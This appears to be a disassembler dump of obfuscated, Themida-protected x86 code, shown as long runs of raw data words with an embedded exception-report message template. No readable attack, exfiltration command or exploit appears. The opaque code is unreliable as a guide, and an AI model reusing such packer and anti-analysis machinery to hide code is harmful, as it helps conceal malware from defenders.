		dd 53430000h, 0E36325C3h, 0B3D3F837h, 6052FAF0h, 551B589h
		dd 0B0600615h, 2BBF66BFh, 81616129h, 0C486F5D2h, 5DB5FF7Ah
		dd 800617F3h, 95FF18DEh, 61505CDh, 2965BD2Bh, 5E90615h
		dd 23000000h, 0CCAEAFA7h, 850FC085h, 2,	6AF08Ah, 8182A4BFh
		dd 806865h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 6DB210C3h, 4C70BF66h, 8E8h, 15B11100h
		dd 9B94871h, 13E98Ch, 8C870000h, 761A8E29h, 58139D9Fh
		dd 0EA1BA201h, 0B531B021h, 36A5AFFh, 1C7DB529h,	6A0615h
		dd 6A23B5h, 0BA42EA81h,	68605Fh, 52C00000h, 0FE9h, 355E5900h
		dd 63C5AF24h, 71D07543h, 52EA32BDh, 0D5B5FF5Ah,	600617F3h
		dd 10E9h, 4AA57800h, 0A954989h,	0F2573961h, 0DB74BA82h
		dd 6880F02h, 0F000000h,	86h, 95FF6100h,	61510F9h, 0FFF883F9h
		dd 471850Fh, 60600000h,	61F1B70Fh, 21519529h, 0FF610615h
		dd 17FE4385h, 0CA8B6606h, 141DBD8Bh, 0BD830615h, 617FE43h
		dd 3E840F02h, 89000003h, 152CD58Dh, 3B858D06h, 60005B24h
		dd 85D8D8Bh, 8D890615h,	6152C81h, 8BD0FF61h, 15059995h
		dd 8E858D06h, 8B005B1Eh, 150681BDh, 36D18006h, 0BD8BD0FFh
		dd 6152695h, 0FE9h, 6DB6F300h, 12C53CD2h, 2BC0A5CEh, 989E6DCAh
		dd 8D0FC08Bh, 1, 0BD83F5F9h, 61508F5h, 83097500h, 1503ADBDh
		dd 19740006h, 0C08B5350h, 7D8B8h, 85858900h, 8D061513h
		dd 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h
		dd 7D8B8h, 85858900h, 8D061513h, 17A78D9Dh, 5BD3FF06h
		dd 75958B58h, 8A061511h, 0A98529F3h, 8B061524h,	0A19529C0h
		dd 8B061511h, 150A11BDh, 3F6806h, 70BF000Fh, 5633B650h
		dd 15FCB966h, 89006A5Ah, 150A8D9Dh, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0DF4AC357h, 3B9966E6h, 185D95FFh, 0D7810615h, 53FA49Dh
		dd 5E9C085h, 0F3000000h, 85DCF414h, 0C8F0Fh, 7E90000h
		dd 0EA000000h, 5BDC0282h, 858953E5h, 617F359h, 0F085B966h
		dd 0F01FF68h, 0EDBD2B00h, 8306150Ch, 15295DBDh,	840F0006h
		dd 2Dh,	6830Fh,	8D890000h, 6150D19h, 0F3B6858Dh, 0BD8B0617h
		dd 6150079h, 0E5BD8Bh, 2CE90615h, 60000000h, 26BDB58Bh
		dd 0CF8B0615h, 8C858D61h, 6A0617F3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50D8C353h
		dd 880Fh, 0B5FF0000h, 617F359h,	68B0Fh,	85090000h, 61506F1h
		dd 0FFD78B66h, 17F35195h, 0C58D0306h, 89061522h, 17F35D85h
		dd 80526006h, 8B5EE6E7h, 85C761D7h, 6151881h, 0
		dd 0CC58BF66h, 0AEF78166h, 5DBD83AEh, 617F3h, 14C840Fh
		dd 0E9600000h, 0Eh, 4D68E934h, 66C229F8h, 8878A87Dh, 8D61827Eh
		dd 17F63B85h, 1D9D0906h, 5006150Dh, 18D2BA66h, 8501016Ah
		dd 61501FDh, 0F35DB5FFh, 95FF0617h, 617F355h, 1005B589h
		dd 0B5FF0615h, 617F35Dh, 3479BD8Bh, 95FF0615h, 61505CDh
		dd 2EC9BD89h, 0FF680615h, 8B000F01h, 151A31BDh,	5DBD8306h
		dd 61529h, 59840Fh, 810F0000h, 27h, 14E8h, 0CFE6E600h
		dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh, 8E911h
		dd 88230000h, 42DD6DA3h, 8D5F9644h, 17F3B685h, 0FBB70F06h
		dd 27E9h, 1DBD8B00h, 0E8061530h, 12h, 7094B5C4h, 5CEB2E3h
		dd 663BC382h, 44748D84h, 8D5916D0h, 17F38C85h, 0CBBF0F06h
		dd 0CA8B6650h, 0F359B5FFh, 9D890617h, 6150BB9h,	0F35195FFh
		dd 0BF660617h, 0C2BF85C5h, 89253DB0h, 17F35D85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0BFBB6B48h, 31F9AE3Dh, 15155185h, 5DB5FF06h,	660617F3h
		dd 6EDAEA81h, 0F34D95FFh, 9D310617h, 6150161h, 0F35DB5FFh
		dd 95030617h, 61519B9h,	5CD95FFh, 0BA660615h, 0F4E945C9h
		dd 0B6FFFFF6h, 0A6B5FF0Ah, 6A0617FEh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 40A3C356h
		dd 167EB477h, 2C995FFh,	81660615h, 8BF2F2F7h, 15048985h
		dd 89CF8B06h, 1509D98Dh, 558E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E1BB65C3h
		dd 0BD8BAD4Ah, 61517E9h, 0F65BB58Dh, 0CDBF0617h, 890A3D5Fh
		dd 150A8D9Dh, 0E1858D06h, 660617A3h, 0FF27CCB9h, 870FFCD0h
		dd 6, 23898D89h, 6A0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0E9C35646h, 451E2E1Eh, 266995FFh, 85090615h
		dd 6153475h, 0BF0FF38Bh, 0E1858DFFh, 8B0617A3h,	152D29BDh
		dd 89D0FF06h, 15100585h, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 62D4C353h
		dd 2BF303C8h, 15165D95h, 6995FF06h, 8B061526h, 7EF281C0h
		dd 831E693Ch, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
		dd 8B535019h, 7D9B8C0h,	85890000h, 6151385h, 0AA9E9D8Dh
		dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h,	7D9B853h
		dd 85890000h, 6151385h,	0A78D9D8Dh, 0D3FF0617h,	8BF9585Bh
		dd 15020595h, 0BD8B6006h, 6151929h, 6D1BD23h, 8B610615h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0DCE77BFAh, 0DCF2C10Eh, 38C0Fh, 0BF0F0000h
		dd 810F60CBh, 2, 8531D2B5h, 6151791h, 840F5061h, 3, 8BF88B66h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9D8D5390h, 61505E1h, 389038Bh, 8950438Bh
		dd 9D8D5043h, 617FE3Fh,	389038Bh, 55006A5Bh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 9E8770B8h
		dd 0EF8A8D32h, 4C98D8Bh, 0D08B0615h, 6AD78Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7C35141h, 9E92CC89h
		dd 8D354FD7h, 17FE3F85h, 0F41BA06h, 6A502CBCh, 0F18D8B60h
		dd 8B061512h, 0E1858DCFh, 8B061505h, 15035DBDh,	0F7E18006h
		dd 918D8950h, 6A06152Fh, 0BF665300h, 0B15A5D59h, 66006A9Bh
		dd 875BE281h, 180068h, 0A59D0100h, 5306151Ch, 6ABF66h
		dd 97D95FFh, 0BF0F0615h, 0CD95FFD3h, 8B06150Dh,	15098195h
		dd 0A6B5FF06h, 6A0617FEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 49E8C355h, 0FA26DC6h
		dd 0C995FF3Eh, 6A061502h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1490C356h, 77FAAFD3h
		dd 0AC58509h, 14E90615h, 9B000000h, 1B200387h, 0D17C6D10h
		dd 7DA828AFh, 0F3C1F14Ah, 8DEEBEF7h, 1505E185h,	8BCB8B06h
		dd 0B5891840h, 6152AEDh, 20D85C7h, 615h, 0CA8B0000h, 295DBD83h
		dd 0F000615h, 2E84h, 0A1BD8B00h, 3D061504h, 8Ch, 187830Fh
		dd 0B5890000h, 6150DF1h, 23E9h,	0DE900h, 72400000h, 0C9753296h
		dd 5F1B3DDAh, 3DE9B5F3h, 98h, 15F830Fh,	0CA810000h, 62B1236Ch
		dd 243B858Dh, 9503005Bh, 6151C9Dh, 0F180D0FFh, 8E858D94h
		dd 0E9005B1Eh, 13h, 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h
		dd 0FF396217h, 0C08BFCD0h, 2D958B56h, 5A061502h, 8F5BD83h
		dd 75000615h, 0ADBD8309h, 61503h, 53501974h, 0C6B8C08Bh
		dd 8900000Bh, 15138585h, 9E9D8D06h, 0FF0617AAh,	83585BD3h
		dd 1503ADBDh, 17740006h, 0C6B85350h, 8900000Bh,	15138585h
		dd 8D9D8D06h, 0FF0617A7h, 0E8585BD3h, 10h, 0E79AC0AEh
		dd 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 252CD281h, 895A10BFh
		dd 152EE995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0F35D1C2h, 0C08BD1B7h, 0BD895957h
		dd 615189Dh, 0FFFF883h,	2F85h, 1D858900h, 0C7061516h, 1521B985h
		dd 6, 0C890F00h, 0F000000h, 68Bh, 0E9858900h, 0E9061504h
		dd 0F8h, 0E9F88B66h, 42h, 0F01F883h, 3985h, 0A5B66000h
		dd 0FA8B6660h, 1E9B509h, 61610615h, 0F5E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0EF7D573Ah, 257DBD33h, 20E90615h, 8BFFFFF2h,	15004D95h
		dd 89C08B06h, 1527C185h, 0F5BD8306h, 61508h, 0BD830975h
		dd 61503ADh, 50197400h,	0B8C08B53h, 7DDh, 13858589h, 9D8D0615h
		dd 617AA9Eh, 585BD3FFh,	3ADBD83h, 74000615h, 0B8535017h
		dd 7DDh, 13858589h, 9D8D0615h, 617A78Dh, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B0C35646h, 0CA68BADFh
		dd 6A71BCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0CE8B75C3h, 33BD8509h, 0C08B0615h, 217E9h
		dd 0CABF0F00h, 0FC43858Dh, 8D8B0617h, 615091Dh,	0FE3B8589h
		dd 8B600617h, 150D818Dh, 5AE96106h, 0F000000h, 858DF9B7h
		dd 617FA4Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	36C35242h, 95094245h, 615116Dh,	50006A40h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8B5287B4h, 3B8589C8h, 0F0617FEh, 8Dh, 8D346A00h, 15139585h
		dd 0B5FF5006h, 617FE3Bh, 95FF006Ah, 61506D5h, 0F07F883h
		dd 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 0C585C600h, 56061509h
		dd 0A8B85268h, 85B5FF9Ch, 8D061516h, 153B3885h,	6AD0FF06h
		dd 10006804h, 646A0000h, 0D0FF006Ah, 0FEAE8589h, 85C60617h
		dd 61509C5h, 0AC9B6847h, 0B5FFEC18h, 6151685h, 3B38858Dh
		dd 0D0FF0615h, 0F08BD0FFh, 9C585C6h, 684F0615h,	0C62F2661h
		dd 1789B5FFh, 858D0615h, 6153B38h, 9D8DD0FFh, 617FEAAh
		dd 56286A53h, 0C085D0FFh, 85C60075h
		dd 61509C5h, 64986841h,	0B5FFDB87h, 6151789h, 3B38858Dh
		dd 0D0FF0615h, 0FEC78589h, 85C60617h, 61509C5h,	0E7A4684Ch
		dd 0B5FF80A4h, 6151789h, 3B38858Dh, 0D0FF0615h,	0FEAE9D8Bh
		dd 5B8D0617h, 9D8D5304h, 617FEB3h, 0FF006A53h, 0AE9D8BD0h
		dd 0C70617FEh, 103h, 0C43C700h,	2, 74D9D8Bh, 85C70615h
		dd 6152DEDh, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 617FEAEh, 0FF006A53h, 17FEAAB5h, 0C795FF06h,	0C60617FEh
		dd 1509C585h, 97684506h, 0FF92A5F7h, 150789B5h,	38858D06h
		dd 0FF06153Bh, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 17FEAE9Dh, 0C43C706h, 0
		dd 6A006Ah, 0FEAE9D8Bh,	6A530617h, 0AAB5FF00h, 0FF0617FEh
		dd 17FEC795h, 0AAB5FF06h, 0FF0617FEh, 150DCD95h, 0FF006A06h
		dd 15266995h, 1739BA06h, 958B2AF7h, 61507F5h, 318A858Dh
		dd 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 505016C3h, 0EE860h, 0FA190000h, 565E08B1h
		dd 0DA368CFh, 61FA69F8h, 61CB8A58h, 35FF645Fh, 0
		dd 0C6DBD8Bh, 0FE80615h, 90000000h, 0F3A00965h,	929A9D24h
		dd 0B54F576Ch, 0B70FB62Dh, 89645ACFh, 25h, 9E900h, 7A1F0000h
		dd 0A8839088h, 83BD750Eh, 1509CDBDh, 840F0006h,	9Fh, 1949BA66h
		dd 16598D8Bh, 0BD830615h, 6152DB5h, 88850F01h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B6ADC353h, 509BDA77h, 0BD802DB1h, 61802C7h
		dd 58850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0C78FC350h,	0E4403A6Ch
		dd 858D8952h, 89061508h, 150C7585h, 198E906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0A7B85CC3h, 0B8CE4F2Ah, 334CB2D9h, 218D01DBh, 8B06150Ah
		dd 56C033FBh, 25198D09h, 405F0615h, 0B073F0Fh, 58F64h
		dd 83000000h, 0F5704C4h, 6A5FCFB7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BCACC355h
		dd 0FFFB83CEh, 15840Fh,	8D8B0000h, 61518F5h, 10FE9h, 89575600h
		dd 1511D9B5h, 0E95F5906h, 72h, 9501FC60h, 615022Dh, 244C8B61h
		dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
		dd 245C8BC3h, 0E8550Ch,	5D000000h, 31ACED81h, 838B0618h
		dd 0B8h, 328B858Dh, 83890618h, 0B8h, 0C3C0335Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 69C35545h, 0D1958B60h
		dd 9061503h, 1507499Dh,	858D6106h, 61831A2h, 9E8h, 0A0A11800h
		dd 0F8C3F95Bh, 8151DACFh, 54BB60F2h, 0F5A5A7Ch,	188h, 3350FC00h
		dd 1516D5BDh, 35FF6406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h
		dd 0D4749DC6h, 3860Fh, 0BF0F0000h, 258964C8h, 0
aFJ		db 'f¹',27h,'J¹',0Ah,0
		align 4
		dd 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh
		dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 14F585C7h
		dd 10615h, 8F640000h, 5, 4C48300h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 92C35141h, 909EB5F6h, 2DA19D89h
		dd 0B70F0615h, 6AC08BF8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 764DC352h, 83FED928h
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 43DB8C0h, 85890000h,	61502A1h, 0AB059D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 43DB853h, 85890000h
		dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0B71BD5C3h
		dd 0C321BA91h, 0C08B228Ah, 147E9h, 400h, 392E3100h, 3031h
		dd 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2FF1BD83h, 0F000615h
		dd 12D84h, 0BD858D00h, 500617A5h, 0A527858Dh, 68500617h
		dd 80000001h, 0A5CD95FFh, 858D0617h, 6183356h, 60858D50h
		dd 50061833h, 6A006Ah, 0A53B858Dh, 0FF500617h, 17A5BDB5h
		dd 9195FF06h, 8D061523h, 18335685h, 858D5006h, 6183364h
		dd 6A006A50h, 4D858D00h, 500617A5h, 0A5BDB5FFh,	95FF0617h
		dd 6152391h, 3356858Dh,	8D500618h, 18337085h, 6A5006h
		dd 858D006Ah, 617A59Ah,	0BDB5FF50h, 0FF0617A5h,	15239195h
		dd 56858D06h, 50061833h, 3378858Dh, 6A500618h, 8D006A00h
		dd 17A5B885h, 0B5FF5006h, 617A5BDh, 239195FFh, 858D0615h
		dd 6183356h, 74858D50h,	50061833h, 6A006Ah, 0A5A1858Dh
		dd 0FF500617h, 17A5BDB5h, 9195FF06h, 8D061523h,	18335685h
		dd 858D5006h, 6183368h,	6A006A50h, 0A9858D00h, 500617A5h
		dd 0A5BDB5FFh, 95FF0617h, 6152391h, 3356858Dh, 8D500618h
		dd 18336C85h, 6A5006h, 858D006Ah, 617A5B0h, 0BDB5FF50h
		dd 0FF0617A5h, 15239195h, 0BDB5FF06h, 0FF0617A5h, 15181995h
		dd 0A2E906h, 0BD830000h, 61518F9h, 95840F00h, 83000000h
		dd 152DB5BDh, 850F0006h, 11h, 0B8D958Bh, 0C2810615h, 1CF8h
		dd 0FE9h, 0E1958D00h, 8B061505h, 0C2813452h, 3BD4C340h
		dd 282D9589h, 0BD830615h, 615282Dh, 55840F00h, 8B000000h
		dd 15282D9Dh, 4CC38306h, 8589038Bh, 6183360h, 282D9D8Bh
		dd 0C3830615h, 89038B50h, 18336485h, 2D9D8B06h,	83061528h
		dd 38B54C3h, 33708589h,	9D8B0618h, 615282Dh, 8B58C383h
		dd 74858903h, 8B061833h, 15282D9Dh, 5CC38306h, 8589038Bh
		dd 6183368h, 2FF1BD83h,	0F000615h, 0D85h, 0F9BD8300h, 61518h
		dd 68840Fh, 0B5FF0000h,	6183378h, 336CB5FFh, 0B5FF0618h
		dd 6183368h, 3374B5FFh,	0B5FF0618h, 6183370h, 3364B5FFh
		dd 0B5FF0618h, 6183360h, 335A858Dh, 8D500618h, 18339285h
		dd 858D5006h, 6151E95h,	2995FF50h, 8306152Fh, 406A24C4h
		dd 337C858Dh, 8D500618h, 151E9585h, 6A5006h, 6D595FFh
		dd 16A0615h, 266995FFh,	0C18B0615h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6183726h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 5EB58BFFh, 81061837h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 62B53B00h, 0F061837h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 282D858Bh, 18860615h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0E195FF08h, 50061518h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 282D858Bh, 0C60615h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 615282Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6150AA5h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0A585C700h, 6150Ah
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 385C700h, 1061837h
		dd 50000000h, 244C010Fh, 7858FFEh, 8D061837h, 1836FF85h
		dd 7BD8D06h, 89061837h,	23E938h, 858D0000h, 61505E1h, 538408Bh
		dd 9B46F317h, 36FF8589h, 858D0618h, 61505E1h, 893C408Bh
		dd 18370385h, 1C858D06h, 89061837h, 1518E185h, 87E906h
		dd 8B520000h, 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h
		dd 6000000h, 0C8D10630h, 0FF73B46h, 0FFFFF182h,	0C25A61FFh
		dd 8B520008h, 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h
		dd 6300000h, 0C8D10628h, 0FF73B46h, 0FFFFF182h,	0C25A61FFh
		db 8, 0
word_5AD40E	dw 8B52h		; DATA XREF: Themida_:0057B760o
		dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh
		dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh,	0FFFFFFE5h
		dd 595BC38Bh, 8C25A5Eh,	8F858D00h, 89061839h, 15110185h
		dd 0B7858D06h, 89061839h, 1526CD85h, 0DF858D06h, 89061839h
		dd 151D3185h, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 4834CC3h, 9DD0919Eh, 0EE852AEh
		dd 20000000h, 0FA4476B1h, 0AE3E243Eh, 316D3ADh,	0DCC28021h
		dd 0AE85Eh, 0EA980000h,	817BCC00h, 0AEF9BCADh, 68E0Fh
		dd 8A0F0000h, 0
		dd 8B58B65Ah, 32EA81C0h, 8343E43Bh, 1508F5BDh, 9750006h
		dd 3ADBD83h, 74000615h,	8B535019h, 40EB8C0h, 85890000h
		dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh
		dd 50177400h, 40EB853h,	85890000h, 6151385h, 0A78D9D8Dh
		dd 0D3FF0617h, 8B66585Bh, 23BA66D1h, 11E979h, 144D0000h
		dd 33C244FEh, 67DE1D83h, 0B03ABC98h, 8B1216B0h,	52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 9E980ADh, 88000000h,	73B6C16Ah, 6763C9ACh, 9CDBD83h
		dd 0F000615h, 7684h, 0DE900h, 88640000h, 23EB6A2Ah, 2266B130h
		dd 0E9812ECBh, 2B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4C35343h, 0DA3F80CAh,	809C95D3h, 14E83BDDh
		dd 0F9000000h, 361803FFh, 32B29F65h, 16B9EF99h,	996E4B99h
		dd 0F0A56B3h, 68Fh, 8B0F00h, 5E000000h,	0EE9h, 196CFC00h
		dd 46D49AE7h, 933B053h,	8CB02BB6h, 51006ADFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66F13C7Eh
		dd 1AC281h, 4C7F766h, 22850F00h, 0F000002h, 589h, 0D9EEB900h
		dd 0BD833E90h, 615295Dh, 1E850F00h, 50000000h, 9E9h, 3DEE6900h
		dd 48A2FC47h, 0B95A1EB0h, 6B10B38Ah, 1F0E9h, 7BBE6600h
		dd 8DFF2B68h, 183DBD9Dh, 198F0F06h, 0E9000000h,	14h, 0B75B66C8h
		dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0E8505A51h
		dd 0Bh,	4C80C1CCh, 45969FA9h, 5A5EDEE2h, 6A241C89h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 4F27C350h, 60000905h, 12E8h,	0C053D600h, 8CAFF509h
		dd 29A2D51h, 0E8CCBF04h, 0BB1B6D09h, 54537325h,	6860F5Fh
		dd 0F000000h, 85h, 0FF646100h, 35h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E20D3D2Ch
		dd 0E92AA296h, 6, 0D1809CF2h, 8964526Bh, 25h, 0E9506000h
		dd 9, 50FC9DBEh, 5EC271AFh, 0FA8A5BE8h,	6AC48B61h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 99AEC351h, 0EB01CD73h, 5E900h, 23280000h, 570E609Fh
		dd 2840Fh, 61600000h, 58F6459h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DDC35242h
		dd 0FDE8B60h, 8361F9BFh, 0B96004C4h, 578BFD62h,	830F60h
		dd 0B6000000h, 0B61617Ch, 96840FC0h, 0F000000h,	6661CAB7h
		dd 2590DA81h, 720DBD8Dh, 0B9660615h, 1B84192h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 7B37C352h, 41C0DB02h, 81698DE3h, 9C8597D1h
		dd 77D6813Eh, 0FF34EE4Ch, 0F2B70FE7h, 245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 0F57C3C0h, 8Bh, 6A5900h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6CBB1AC3h
		dd 816661CEh, 66CFD9E1h, 0F212E281h, 0A5BAC08Bh, 8310A70Fh
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 40EB8C0h, 85890000h,	61502A1h, 0AB059D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 40EB853h, 85890000h
		dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8322AEC3h
		dd 43C16182h, 8B72B613h, 0AE9C0h, 0B8850000h, 874B80D6h
		dd 4E937DF3h, 0DE8C28Bh, 5F000000h, 0B9068386h,	62A959EFh
		dd 9C76994Bh, 7E8h, 9444F800h, 0DBA62361h, 5AFB8B66h, 0BE66535Bh
		dd 815FC7AEh, 5EF7C3h, 0E2816600h, 6853C0h, 0E8000000h
		dd 0Ch,	3AC00ECDh, 5044F47Ch, 992BC527h, 13E9h,	4C933B00h
		dd 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h, 5260595Eh
		dd 8CF6BB66h, 7E959h, 0E66D0000h, 0F2256A44h, 48B61B8h
		dd 0B7E2810Bh, 812D444Bh, 0D74689F0h, 1E88167h,	8B16B435h
		dd 61E881F9h, 666F9CFDh, 55B9F681h, 8F1CB250h, 60F90B04h
		dd 0C9B70F50h, 0FE95Eh,	57A0000h, 8CDD9FB6h, 0ED17021Fh
		dd 65D3AA5Ah, 0E98361AAh, 81494902h, 814F6ACAh,	0F4F9810Ah
		dd 0FFFFFA1h, 0E85h, 1CE900h, 1E540000h, 0C15B4853h, 600B0FB5h
		dd 61CB8B66h, 0FFFF8DE9h, 8AB97BFFh, 4634100Ch,	8EB95B3h
		dd 2 dup(0)
